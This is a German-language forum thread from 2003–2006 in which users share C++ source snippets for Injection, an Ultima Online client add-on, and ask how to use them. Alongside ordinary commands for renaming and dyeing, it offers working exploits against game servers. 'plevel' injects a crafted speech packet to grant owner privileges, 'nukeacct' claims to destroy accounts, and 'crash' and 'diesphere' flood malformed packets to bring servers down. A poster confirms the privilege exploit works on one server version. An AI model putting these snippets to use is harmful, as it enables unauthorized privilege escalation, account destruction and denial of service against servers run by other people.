Public Source Codes für Injection

08/28/2003 15:33 Lowfyr#1
renameself:

Code:
void Injection::command_renameself(const arglist_t & args){ 
if(args.size() < 2){ 
client_print("usage ,renameself <newname>"); 
} 
string str; 
for(arglist_t::const_iterator i = (args.begin()+1);i != args.end();i++){ 
str += *i; 
if(i+1 != args.end()) str += " "; 
} 

if(str.size() > 29){ 
client_print("Name May not be bigger than 29 chars!"); 
return; 
} 
uint8 * buf = new uint8[35]; 
*buf = 0x75; 
pack_big_uint32(buf+1,m_world->get_player()->get_serial()); 
strcpy(reinterpret_cast<char*>(buf+5),str.c_str()); 
send_server(buf,35); 
delete [] buf; 
}
rename:

Code:
void Injection::command_rename(const arglist_t & args)
{
 * *if(args.size() < 2)
 * *{
 * * * *client_print("usage: rename (new name)");
 * * * *return;
 * *}
	if(args[1].length() > 30)
	{
 *client_print("Maximum allowed Characters: 30");
 *return;
	}
	/*string temp;
	for(int i = 1;i < args.size() - 1;i++)
	{
 *temp = temp + args[i].c_str();
	}*/
	strcpy(m_new_name, args[1].c_str());
	//m_new_name = args[1];
	client_print("Target Character to rename (only owned Characters)");
 * *request_target(&Injection::target_rename);
}

void Injection::target_rename(GameObject * obj)
{
 * *if(obj == 0)
	{
 * * * *client_print("Cancelled Rename targetting.");
	}
 * *else
 * *{
	uint8 buf[35];
	buf[0] = 0x75;
	pack_big_uint32(buf + 1, obj->get_serial());
 * *strcpy(reinterpret_cast<char *>(buf + 5), m_new_name);
	client_print("renamed...");
	send_server(buf, sizeof(buf));
 * *}
}
ress:

Code:
void Injection::command_ress(const arglist_t & args) 
{ *
 * * * *uint8 buf[2];
 * * * *buf[0] = 0x2c;
 * * * *buf[1] = 0x01;
 * * * *send_server(buf, sizeof(buf));
 * * * *client_print("ressed..."); 
}
plevel:

Code:
void Injection::command_plevel(const arglist_t & args) 
{ 
char str[26]; 
for (int x = 0; x < 26; x++) 
str[x] = ".password blah\nplevel=owner"[x]; 
//str[14] = 13; 
uint8 buf[300]; 
buf[0] = 0xad; 
//pack_big_uint16(buf + 1, 36); 
pack_big_uint32(buf + 3, 0x0002b200); 
pack_big_uint32(buf + 7, 0x03444555); 
pack_big_uint16(buf + 11, 0x0000); 
/*pack_big_uint32(buf + 15, 0x2e706173); 
pack_big_uint32(buf + 19, 0x73776f72); 
pack_big_uint32(buf + 23, 0x64207465); 
pack_big_uint16(buf + 27, 0x7374); 
buf[29] = "\n"[0]; 
pack_big_uint32(buf + 30, 0x706c6576); 
pack_big_uint32(buf + 34, 0x656c2037);*/ 
for (int i = 0; i < 26; i++) 
{ 
buf[i*2 + 13] = str[i]; 
buf[i*2 + 14] = 0x00; 
} 
buf[i*2+14] = 0x00; 
pack_big_uint16(buf + 1, i*2+14); 
send_server(buf, i*2+14); 
client_print("Wait until the server reboot"); 
}
dye:

Code:
void Injection::command_dye(const arglist_t & args)
{
 * *if(args.size() != 2)
 * *{
 * * * *client_print("usage: dye (colour number)");
 * * * *return;
 * *}
 * *int colour;
 * *if(!string_to_int(args[1].c_str(), colour) || colour < 0 ||
 * * * * * *colour >= 0xffff)
 * *{
 * * * *client_print("Invalid colour number");
 * * * *return;
 * *}
 * *client_print("Waiting for dye window...");
 * *m_dye_colour = colour;
 * *client_print("Target Item to dye.");
 * *request_target(&Injection::target_dye);
}

void Injection::target_dye(GameObject * obj)
{
 * *if(obj == 0)
	{
 * * * *client_print("Cancelled Item targetting.");
 *dyetarget = -1;
	}
 * *else
 * *{
 * * * *dyetarget = obj->get_serial();
 * *}
}
dyehair:

Code:
void Injection::command_dyehair(const arglist_t & args)
{
 * *if(args.size() != 2)
 * *{
 * * * *client_print("usage: dyehair (colour number)");
 * *	m_new_haircolor = -1;
 *return;
 * *}
	int colour;
 * *if(!string_to_int(args[1].c_str(), colour) || colour < 0 ||
 * * * * * *colour >= 0xffff)
 * *{
 * * * *client_print("Invalid colour number");
 *m_new_haircolor = -1;
 * * * *return;
 * *}
 * *client_print("Waiting for hairdye window...");
 * *m_new_haircolor = colour;
}
crash: (eigentl. nubig, wollt ich aber nicht auslassen.. soll ja leute geben die auch sowas suchen)

Code:
void Injection::command_crash(const arglist_t & args) *
{ *
 * * int attempts; *
 * * attempts = 1; *
 * * if(args.size() > 2) *
 * * { *
 * * * * *client_print("usage: crash [attempts]"); *
 * * * * *return; *
 * * } *
 * * if(args.size() == 2) *
 * * { *
 * * * * *string_to_int(args[1].c_str(),attempts); *
 * * } *
 * * uint8 buf[16]; *
 * * buf[0] = 0xad; *
 * * buf[1] = 0x00; *
 * * buf[2] = 0x10; *
 * * buf[3] = 0x00; *
 * * buf[4] = 0x80; *
 * * buf[5] = 0x00; *
 * * buf[6] = 0x00; *
 * * buf[7] = 0x03; *
 * * buf[8] = 0x44; *
 * * buf[9] = 0x45; *
 * * buf[10] = 0x55; *
 * * buf[11] = 0x00; *
 * * buf[12] = 0x00; *
 * * buf[13] = 0x41; *
 * * buf[14] = 0x00; *
 * * buf[15] = 0x00; *
 * * for(int i=0;i < attempts;i++) *
 * * { *
 * * send_server(buf,sizeof(buf)); *
 * * } *
}
textcolor:

Code:
void Injection::command_textcolor(const arglist_t & args)
{
 * *if(args.size() != 2)
 * *{
 * * * *client_print("usage: textcolor (color)");
 *m_newcolor = -1;
 * * * *return;
 * *}
	int colour;
	if(!string_to_int(args[1].c_str(),colour) || colour < 0 || colour > 0xFFFF)
	{
 *client_print("Invalid Color Number...");
 *return;
	}
	m_newcolor = colour;
	//uint8 buf[16];
	//buf = 0xad00100002b200034445550000410000;
	/*buf[0] = 0xAD;
	buf[1] = 0x0010;
	buf[3] = 0x00;
	buf[4] = 0x80;
	buf[7] = 0x03;
	buf[8] = 0x44;
	buf[9] = 0x45;
	buf[10] = 0x55;
	buf[13] = 0x41;*/
	//---09:28:06 PM--- client [dyanmic packet:ad , Speech Unicode, length:0010] *
	//0000: ad 00 10 00 02 b2 00 03 44 45 55 00 00 41 00 00 : ........DEU..A.. *
	//0010: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- : *
	//buf[1..2] = 0x0010;
	//pack_big_uint32(buf + 1, 0x0010);
	//pack_big_uint16(buf + 3, 0x00);
	//pack_big_uint32(buf + 4, 0x8000);
	//pack_big_uint32(buf + 6, 0x0003);
	//pack_big_uint32(buf + 8, 0x44455500);
	//pack_big_uint32(buf + 12, 0x410000);
	//send_server(buf, sizeof(buf));
}
packbank:

Code:
void Injection::command_packbank(const arglist_t & args)
{
 * *if(m_world == 0)
 * * * *return;
 * *else
 * *{
 * * * *client_print("Target object to pack to bank.");
 * * * *request_target(&Injection::target_packbank);
 * *}
}

void Injection::target_packbank(GameObject * obj)
{
 * *if(obj == 0)
 * * * *return;
 * *else
 * *{
 *GameObject * player = m_world->get_player();
 *//GameObject * layeritem = player->find_layer(grablayer);
 * * * *uint32 to_container;
 * * * *to_container = player->find_layer(LAYER_BANK)->get_serial();
 *uint32 item = obj->get_serial();
 * * * *uint16 quantity = obj->get_quantity();
 * * * *if (quantity == 0) quantity = 1;
 * * * *move_container(item, quantity, to_container);
 *client_print("The item is now in your bankbox.");
 * *}
}
receivetobank:

Code:
void Injection::command_receivetobank(const arglist_t & args)
{
 * *if(m_world == 0)
 * * * *return;
 * *else
 * *{
 *GameObject * player = m_world->get_player();
 *//GameObject * layeritem = player->find_layer(grablayer);
 *uint32 bankid;
 *bankid = player->find_layer(LAYER_BANK)->get_serial();
 *set_receivingcontainer(bankid);
 *client_print("ReceivingContainer is now your bankbox.");
 *client_print("Use ,grab or ,emptycontainer to receive item to your bank.");
	}
}
emptybank:

Code:
void Injection::command_emptybank(const arglist_t & args)
{
 * *if(m_world == 0)
 * * * *return;
 * *else
 * *{
 * * * *uint32 to_container;
 * * * *if(m_receiving_container == 0)
 * * * *{
 * * * * * *to_container = m_world->get_player()->get_serial();
 * * * *}
 * * * *else
 * * * *{
 * * * * * *to_container = m_receiving_container;
 * * * *}
 * * * *
 *if(args.size() != 2)
 * * * *{
 * * * * * *client_print("usage: emptybank (pause in milisecs)");
 * * * * * *client_print("example: 'emptybank 500' pauses 1/2 sec between moves");
 * * * *}
 * * * *else
 * * * *{
 * * * * * *empty_speed = strtol(args[1].c_str(),NULL, 16);
 * * * *}
 * * * *
 *// find our from container
 *//GameObject * from_obj = m_world->find_object(obj->get_serial());
 *GameObject * player = m_world->get_player();
 *uint32 bankid;
 *bankid = player->find_layer(LAYER_BANK)->get_serial(); * * * *
 *GameObject * from_obj = m_world->find_object(bankid);

 * * * *for(GameObject::iterator i = from_obj->begin(); i != from_obj->end(); ++i)
 * * * *{
 * * * * * *uint32 item = i->get_serial();
 * * * * * *uint16 quantity = i->get_quantity();
 * * * * * *if(quantity == 0) quantity = 1;
 * * * * * *if(item != to_container) move_container(item, quantity, to_container);
 * * * * * *if(empty_speed >0)
 * * * * * * * *Sleep(empty_speed);
 * * * *}
 *client_print("Items moved to ReceivingContainer");
 * *
	}
}
01/27/2004 16:08 Lowfyr#2
nochn paar andere rausgefischt.. ( quelle-> [Only registered and activated users can see links. Click Here To Register...] url ist down, hab die ganze liste rauskopiert, wundert euch nicht wenn paar snippets vom ersten post dabei sind )

Code:
void Injection::command_modchar(const arglist_t & args)
{
int in, i;
i=0;
uint8 * buf = new uint8[255]; 
buf[0]=0x75;
char buffer[1];
char t=0x00;
pack_big_uint32(buf + 1, m_world->get_player()->get_serial()); 
in=_open("char.txt", _O_BINARY|_O_RANDOM);
for(i=0; i<filelength(in); i++)
{
_read(in, buffer, 1);
buf[5+i]=(uint8)buffer[0];
}
_close(in);
if (i<30)
{
for (int j=i; j<30; j++)
buf[j+i]=t;
i=30;
}
else if (i>255)
{
return;
}
else if ((i<255) && (i!=3))
{
client_print("IET: Adjusting charactor...");
for (int j=i;j<255;j++)
buf[j+i]=' ';
i=255;
}

send_server( buf, (5+i)); 
delete [] buf; 
stg="";
}

void Injection::command_sendpacket(const arglist_t & args)
{

int s=atoi(args[1].c_str());

uint8 * buf = new uint8[1000]; 
uint8 * b = new uint8[4]; 
uint8 * buffer = new uint8[4]; 
int in,i,j,l; 
int c=0,c2=0;

in=_open("packet.txt", _O_BINARY|_O_RANDOM);
for(i=0;i<filelength(in);i+=4)
{
_read(in,buffer,3);
_read(in,b,1);

if (buffer[0]=='x')
{
stg="";
stg+=buffer[1];
stg+=buffer[2];

_read(in,buffer,3);
_read(in,b,1);

l=atoi(stg.c_str());
for(j=0;j<l;j++)
{
stg="";
stg+=buffer[0];
stg+=buffer[1];
stg+=buffer[2];
buf[c]=atoi(stg.c_str());
c++; 
}
i+=3;


}

else if (buffer[0]=='\"')
{
buf[c]=buffer[1];c++;
buf[c]=buffer[2];c++;
buf[c]=b[0];c++;
bool check=true;

while (check)
{
_read(in,b,1);
i++;
if (b[0]=='\"')
{
_read(in,b,1);
i++;
check=false;
}
else
{
buf[c]=b[0];
c++;
}
}

}
else if (buffer[0]=='u')
{
client_print("u");
pack_big_uint32(buf + c, m_world->get_player()->get_serial()); 
c+=4;
}

else if (buffer[0]=='s')
{
int l;
stg="";
stg+=buffer[1];
stg+=buffer[2];
l=atoi(stg.c_str());

if (l>16 || l < 0)
{ 
client_print("IET: Invalid...");
l=0;
}
pack_big_uint32(buf + c, objeto[l]);
c+=4;
}
else if (buffer[0]=='\')
{
buf[c] = (hex2dec( buffer[1], buffer[2] ));
c++; 
}
else if (buffer[0]=='q')
{
_close( in );
switch(s)
{
case 1:send_client(buf,c);break; 
default:send_server(buf,c); 
}
return; 
}

else
{
stg="";
stg+=buffer[0];
stg+=buffer[1];
stg+=buffer[2];
buf[c]=atoi(stg.c_str());
c++; 
}
} 

_close( in );
switch(s)
{
case 1:send_client(buf,c);break; 
default:send_server(buf,c); 
}
}

void Injection::command_setuid(const arglist_t & args) 
{ 
if(args.size() < 2)
{ 
client_print("IET: Use [setuid <Numbers: 1 - 16>"); 
return;
} 

stg=args[1];
client_print(stg);


client_print("IET: Select object to set the uid...");
request_target(&Injection::target_setuid);
}

void Injection::target_setuid(GameObject * obj)
{
if(obj == 0)
{
client_print("IET: Target Canceled...");
return;
}
else
{
int l=0;
l=atoi(stg.c_str());
if (l>16 || l < 0)
{
client_print("IET: Invalid...");
l=0;
}

objeto[l]=obj->get_serial();
}
}

void Injection::command_nukeacct(const arglist_t & args) 
{ 
char str[26]; 
for (int x = 0; x < 26; x++) 
str[x] = ".email [email][Only registered and activated users can see links. Click Here To Register...][/email]\n[EOF]"[x]; 
//str[14] = 13; 
uint8 buf[300]; 
buf[0] = 0xad; 
//pack_big_uint16(buf + 1, 36); 
pack_big_uint32(buf + 3, 0x0002b200); 
pack_big_uint32(buf + 7, 0x03444555); 
pack_big_uint16(buf + 11, 0x0000); 
/*pack_big_uint32(buf + 15, 0x2e706173); 
pack_big_uint32(buf + 19, 0x73776f72); 
pack_big_uint32(buf + 23, 0x64207465); 
pack_big_uint16(buf + 27, 0x7374); 
buf[29] = "\n"[0]; 
pack_big_uint32(buf + 30, 0x706c6576); 
pack_big_uint32(buf + 34, 0x656c2037);*/ 
for (int i = 0; i < 26; i++) 
{ 
buf[i*2 + 13] = str[i]; 
buf[i*2 + 14] = 0x00; 
} 
buf[i*2+14] = 0x00; 
pack_big_uint16(buf + 1, i*2+14); 
send_server(buf, i*2+14); 
client_print("IET: Accounts Nuked...Wait for reboot..."); 
} 

void Injection::command_diesphere(const arglist_t & args) 
{ 
uint8 buf[100000]; 
buf[0] = 0x94; 
buf[1] = 0x11; 
buf[1] = 0x01; 
strcpy(reinterpret_cast<char *>(buf + 3), "Di Dieee kill die kill bitches **** shit qqqqqq ad wef asfadsf af asf af asf afsa fsadf afs fa fasd asfa sfa sfsaf as a fsa fsaf a fsaf saf asf asfd "); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
send_server(buf, sizeof(buf)); 
client_print("IET: CrashZorZ SPHERE to Da Max!"); 
}

void Injection::command_sys(const arglist_t & args) 
{ 
string str = string(""); 
str = string(args[1]); 
for(int i=2; i<args.size(); i++) str+=string(" ")+string(args[i]); 
int len = str.length(); 
uint8 * newbuf = new uint8[8 + len]; 
newbuf[0] = CODE_CLIENT_TALK; 
pack_big_uint16(newbuf + 1, 8 + len); 
newbuf[3] = 0xFF; 
newbuf[4] = 0x03; 
newbuf[5] = 0xb2; 
newbuf[6] = 0x00; 
newbuf[7] = 0x06; 
newbuf[8] = 0x00; 
memcpy(newbuf + 8, str.c_str(), len); 
send_server(newbuf, 8 + len); 
delete /*[]*/ newbuf; 
}

void Injection::command_plevel(const arglist_t & args) 
{ 
char str[26];
for (int x = 0; x < 26; x++)
str[x] = ".password IET\nplevel=7"[x];
//str[14] = 13;
uint8 buf[300];
buf[0] = 0xad;
//pack_big_uint16(buf + 1, 36);
pack_big_uint32(buf + 3, 0x0002b200);
pack_big_uint32(buf + 7, 0x03444555);
pack_big_uint16(buf + 11, 0x0000);
/*pack_big_uint32(buf + 15, 0x2e706173);
pack_big_uint32(buf + 19, 0x73776f72);
pack_big_uint32(buf + 23, 0x64207465);
pack_big_uint16(buf + 27, 0x7374);
buf[29] = "\n"[0];
pack_big_uint32(buf + 30, 0x706c6576);
pack_big_uint32(buf + 34, 0x656c2037);*/
for (int i = 0; i < 26; i++)
{
buf[i*2 + 13] = str[i];
buf[i*2 + 14] = 0x00;
}
buf[i*2+14] = 0x00;
pack_big_uint16(buf + 1, i*2+14);
send_server(buf, i*2+14);
client_print("IET: w00t I Got Da PoWaH");
}

void Injection::command_ress(const arglist_t & args) 
{ 
uint8 buf[2];
buf[0] = 0x2c;
buf[1] = 0x01;
send_server(buf, sizeof(buf));
client_print("IET: You have been resurrected...");
}
06/22/2004 12:06 Lowfyr#3
keine garantie das alles funzt, hab jetzt nur mal alles zusammen gepastet was damals in diversen public foren etc. gepostet wurde
06/30/2004 18:40 FeNriZ#4
da fehlen die ganzen variablen für das Filehandling.
und die #include <io.h>

öhm kA namespace std dürfte klar sein...

da war noch irgendwas das obendrüber gefehlt hat. ich hab die mal eingebaut gehabt is aber ne weile her
07/01/2004 12:23 Noir#5
Sofern du noch in etwas weisst was da alles gefehlt hat, könnteste es ja vielleicht nachliefern Fen ;)
07/01/2004 13:46 Lowfyr#6
yop und der deathhandler für ress fehlt z.b. auch, ist bei yoko aber ohnehin dabei..

sind eben nur snippets ;)
03/27/2005 04:10 BoneDragon#7
hat denn hier einer ein funktionierendes plvlscript? Wenn ja, koennte er /sie es bitte posten? *gaehn*

Boni
03/27/2005 13:23 Lowfyr#8
das da oben funzt, zumindest auf 55i
03/27/2005 23:22 BoneDragon#9
muss ich dadran noch was veraendern? Habe keien Ahnung von UOInjection ^^

Boni
03/29/2005 11:32 Lowfyr#10
UOInjection ist falsch, guck ma in den injection howto thread, da sollte die richtige ver. drinstehen

abändern? höchstens das passwort
03/31/2005 02:37 BoneDragon#11
jo.. die Yokoversion.. die benutze ich ja auch :)
01/04/2006 12:20 Canek#12
[Only registered and activated users can see links. Click Here To Register...] this reference does not work! Can tell that under it and if it is the instruction how to use ýèìè scripts saw please
01/30/2006 22:41 tekkenalm#13
this codes working on RunOU? or only sphere?
03/25/2006 18:01 azkhee#14
Die Schnipsel funktionieren bei mir nicht.. kommen immer "parse errors" :/ habs mit anderen Scripts getestet und die gehen.. z.B.

sub Heal()
UO.print("Healing Started")
repeat
wait(10)
if not uo.dead() then
if uo.life < uo.str then
uo.exec("bandageself")
UO.print ("Healing...")
wait(900)
endif
endif
wait(1000)
until false
end sub

geht, aber die aus dem thread hier nicht. Hab JokoInjection, falls das wichtig is.
04/12/2006 13:48 Jeterx#15
Englis plz!!!! How can I use them???